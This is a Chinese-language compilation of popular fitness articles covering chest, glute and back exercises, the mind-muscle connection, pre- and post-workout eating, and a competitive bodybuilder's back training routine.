　　有很多运动都需要使双臂水平后展，就如同在站姿后肩拉力器飞鸟中胳膊的动作，如划船和射箭。在乒乓球和羽毛球等反手动作中、棒球击球和吊环等体操运动中也都有应用。在摔跤比赛中，选手也会用此类动作使双肩尽量离开地面，因为规则中规定双肩同时着地便被判定为输。

　　Sexy Curve 厚实壮阔胸膛，撑起半边天般地温暖可靠。赤著膊，淋漓汗水顺流在胸坎沟渠，点滴汇聚成行，往下流。沿著起伏刻划性感样貌，任谁也无力抵挡这份浑然天成的神魂颠倒……

　　肌肉也要上心理学
　　当你想要让身体某一部份的肌肉变得健硕隆起，除了不可或缺的适当饮食控制和运动之外，过程中够不够用“心”其实也大有关系！健身不单只是身体肌肉上的运动训练，更需要大脑的全程参与和大力配合，在训练的过程中掺入心理的作用因素，健身体雕才算是达到真正的价值意义和显著效果。讲白一点，大脑和肌肉之间的联系关系就像是一部自由运转的机器，当你在进行重量肌力训练时，必须在肌肉与大脑之间搭建起友谊的桥梁，尽量将心神意识集中在想要锻炼的肌肉部位上，用心想像该处肌肉的运动和变化，透过平顺渐进的运动节奏强化这股意念的作用。只要训练方法正确、动作确实，配合上和谐且富有韵律的呼吸节奏和身体运动，届时便自然能进入一种完全忘我的“身脑合一”状态，达到健身境界的正确入门。其实，“身脑合一”可说是一项难度极高的身心考验，倘若无法做到这点，也仅只是浪费时间在身体肌肉上的锻炼，并无法确实运用大脑支配它的活动。刚开始起步进行健身重量训练的一到三个月期间，应尽量避免使用身体的冲击爆发力来锻炼肌肉，因为那会使得肌肉经常维持在最大限度的紧绷状态。运动节奏必须渐进缓慢，让大脑和肌肉建立起初步的联系之后，便可让肌肉随心所欲地运动。但最重要的是，只要姿势做得够正确，必能达到绝佳的锻炼效果；再持续进行深化的肌肉锻炼。当然，要想维持良好体态，不间断的日常练习还是得继续才行。

 　　流汗前后的食尚学
　　正常说来，运动前应摄取米饭、面包、面条或水果…等易消化、高醣类且低脂肪的食物，以作为运动时的能量来源。虽然有些高纤维的食物（全麦面包、高纤饼干）也富含醣类，但由于高纤维食物需要花费较长的时间消化，容易在运动过程中造成肠胃不适，因此应避免在运动前吃高纤食品。有的人则会在运动时感到头晕和疲劳，那是因为胰岛素受到醣类刺激而分泌，这原是维持血糖的正常反应，但由于运动时肌肉会使用比平常更多的血糖，建议你在运动前五至十分钟吃点甜食或高升醣指数的食物（面包、运动饮料），当运动开始后，胰岛素就会被抑制而无法在短时间内对升高的血糖产生反应，也就不会发生血糖过低的状况了。在每次运动完二十分钟后才能再度进食，应多补充肉类蛋白质、牛奶和蛋清，并且多喝水以排掉尿酸。此外，建议多吃胡萝卜、木瓜、蕃茄和波菜等富含β胡萝卜素的黄绿色蔬果，不仅有助于胸部肌肉的发育，还可以预防乳癌的发生（千万别以为男人就没这门困扰和罹患机率）喔！

　　体面仪表养成步骤
　　要想拥有性感突出的胸肌和沟渠线条，只要照著以下动作正确训练，便可轻松达到效果。建议每天可做三到四组，每组做十二到十五下，用力时吐气、放松时吸气，并可依照个人正常的呼吸速度去调节适合自己的运动节奏。运动前的暖身、心肺运动绝不可少，运动结束后的伸展更是绝对必须的动作，因为建立适度的柔软度能够增加肌力成熟的范围，往后的锻炼动作也才能越做越大、做得漂亮。无论你是否符合 Metrosexual 的标准定义，拥有健康的体魄身心绝对是每位型男不可忽略的基本要务。按照 uno 每月悉心设定的训练主题：腹部、臀部、背部、腰部和胸部，以隔天互换进行的方式交叉运动上半身与下半身（腹部运动可每天进行），当真足够用心的话，大约经过一年时间的坚持之后，相信绝对可以看见身型雕塑的美妙成就，加油啰！

　　臀部是健美训练中很重要但又经常被忽视的一部分肌肉。原因很简单：自己不容易看到！这不意味着我们可以不重视臀肌的训练，因为它在展示背部时处于背与腿之间，起着衔接的作用。臀肌的强壮坚实与否别人可是看得到的！
　　臀肌的主要训练方式是与腰背和大腿联系在一起的，例如下蹲与硬拉。但也有一些专门练习可以用来“精雕细刻”臀部肌肉。以下这些练习能够单独用，也可以作为下蹲硬拉的辅助。

 　　1.仰卧单腿抬臀

　　仰卧，屈右腿，左腿架在右腿上。两手手心向下置于体侧。慢慢向上抬臀，尽量收紧臀肌，直到腰背挺直。还原后重复。每侧做3组，每组20次左右。

　　2.俯身屈膝举腿

　　双手双膝着地，膝关节成90度。动作以单腿上举开始，脚跟垂直向上，但膝关节角度保持不变。大腿上抬到最高处时正好与地面平行。动作不要太快，臀肌收紧。每侧3组，每组20次。

　　3.俯身负重屈小腿

　　双手双膝着地同练习2，沙袋绑于脚腕处（注意不要过重）。先把一条腿向后伸直，大约与地面平行，然后用力屈膝成90度。还原后重复。每侧3组，每组20次。注意动作始终要有控制，不能“甩”。

　　4.下蹲跳起

　　动作与负重下蹲基本相同，增加了爆发用力。双脚站距同肩宽，两臂抱于胸前。下蹲至膝关节成90度，垂直向上蹬起。注重大腿用力，臀部收紧。每组10次左右，做3组。由于这个练习跳起落地时与地面有冲击力，最好在胶垫、木地板或草地上做，并注意保持身体平衡。

　　5.窄站距负重下蹲

　　双脚站距10—20厘米。两手持哑铃（重量因人而异）。下蹲至大腿与地面平行后用力站起。动作中上体注意保持正直。不要前倾。每组8—10次，3组。

　　6.站立负重后举腿

　　面壁站立，身体稍前倾，双手扶墙。沙袋绑于脚腕处，脚跟略抬起。动作开始时身体重心移到支撑腿，动作腿用力慢慢向后踢起，膝关节可稍弯屈。腿踢至不能再向后为止。坚持数秒后还原。每侧3组，每组10次左右。

　　这些练习只是供锻炼者选用，不必一次全做。可以安排在大肌肉练习之后进行。

练健美的人都很重视胸大肌，因为胸大肌的发达程度是健美与否的重要标志。

　　胸大肌是一块扇形扁肌，按肌纤维走向可分成上、中、下三部分，机能是使上臂屈、内收、旋内，并可拉引躯干向上臂靠拢。

 　　练胸大肌肉方法很多。用先衰竭法训练是最佳的手段之一。此练法能最大程度地刺激胸大肌的生长，有效增加胸大肌的围径。因为在生理上它符合极限负荷后的超量恢复原理。

　　练法是，将发达胸大肌的局部练习---仰卧飞鸟和发达胸大肌、肱三头肌等肌群的综合练习---宽握卧推结合起来进行训练，效果比单一练法好得多。

　　过程是：先用只能举6--10次的重量做仰卧飞鸟练习，直到疲劳（极限），使胸大肌衰竭。然后迅速（2--4秒内）跑到卧推架前，用事先准备好的60-70%的重量做卧推，尽力做，直到举不起来为一组，做四组以上。累计运动量为8--12组，约50--80次。

　　由于胸大肌受到了极深刻的刺激，故只要营养（主要是蛋白质）跟得上，它就会很快发达起来。

　　用这种方法练习其它部位的肌肉也能取得明显效果。做法是先做某块肌肉的局部练习，紧接着做相关肌群的综合练习，细节可参照上述胸大肌的练法。

　　在纽约之夜健美大赛中，来自英国的厄尼脱颖而出，他凭借几套优美的动作夺得了第三名----对于一个名不见经传的小健美运动员来说，这可是了不起的成就。厄尼是如何由一位健美爱好者成为一名健美先生的呢？看看他的锻炼方法，我们就会清楚了。

　　引体向上：“我用宽握式引体向上，这样可以让背部更宽---这是我的秘决”厄尼说，“在这个练习中，姿势非常重要。我用皮带束住自己，控制自已的身体慢慢向上直到上胸部碰到横杠，然后我会挺起前胸去触碰横杠（使胸部成孤形），这时我才会感到背部肌肉的运动（如果孤度不够，你会感到是后面的三角肌在运动），在达到最高点的过程中，我努力去收缩兹背部肌肉，并且在最高点保持这种状态两秒钟才开始一降。下降时我也控制自己，让身体缓慢降下，而不摇摆或突然弹跳，直到身体完全舒展，但在最低点时我仍让肌肉保持紧张状态。在我的两套训练动作中，我还在腰部加上一个70磅的哑铃。”

　　坐式划船：在厄尼轮换的背部训练动作中，这是一项固定的、必不可少的项目；并且在运动中，厄尼始终牢记保持脊柱的自然曲度以防止下背部受到伤害。“我经常用直杠反握法来完成练习，”他说，“直杠可以直接作用于背部，特别是你用反握时：如果你用正握法来做这个练习，就不能像前面的动作那样强烈的收缩背阔肌。不管我用哪种握法，都可让直杠尽可能地离我远些，保持背阔肌收缩两秒钟，然后慢慢放松，在保持背部挺直的状态下舒展背阔肌。”

　　韦德原则：收缩峰---在每次重复的背部训练中，厄尼在肌肉收缩力量最大时保持肌肉收缩状态两秒钟，然后再放松所有的肌肉纤维以更好地控制肌肉，这在登台比赛时非常重要。反向力---厄尼非常强调每个练习时的恢复动作。当他达到动作的顶点后，他总是控制自己的动作缓慢地恢复到原来的状态。